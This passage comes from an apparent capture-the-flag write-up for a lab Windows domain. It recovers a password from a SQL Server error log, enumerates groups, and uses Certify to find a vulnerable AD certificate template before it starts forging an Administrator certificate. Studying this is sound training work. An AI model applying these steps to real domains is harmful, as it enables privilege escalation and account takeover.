Using evil-winrm I was able to get access to the system
While checking for interesting files I stumbled across a SQLServer Log called ERRORLOG.BAK
In that file we can identify a new user account and a password
2022-11-1813:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]2022-11-1813:43:07.48 Logon Error: 18456, Severity: 14, State: 8.2022-11-1813:43:07.48 Logon Logon failed for user 'CENSORED'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
Escalation
Local Enumeration
As always I started to enumerate again using the newly gathered credentials
First thing I checked was the groups I'm in which made me aware to check for an AD Certificate Service
GROUP INFORMATION-----------------EveryoneBUILTIN\Remote Management UsersBUILTIN\UsersBUILTIN\Pre-Windows 2000 Compatible AccessBUILTIN\Certificate Service DCOM AccessNT AUTHORITY\NETWORKNT AUTHORITY\Authenticated UsersNT AUTHORITY\This OrganizationNT AUTHORITY\NTLM Authentication
Checking for vulnerable Certificate Templates
.\Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates :CA Name : dc.sequel.htb\sequel-DC-CATemplate Name : UserAuthenticationSchema Version : 2Validity Period : 10 yearsRenewal Period : 6 weeksmsPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECTmspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DSAuthorized Signatures Required : 0pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Emailmspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email...
Exploitation
Certificate: Localadmin
I'll now generate a new certificate using certify.exe for the user Administrator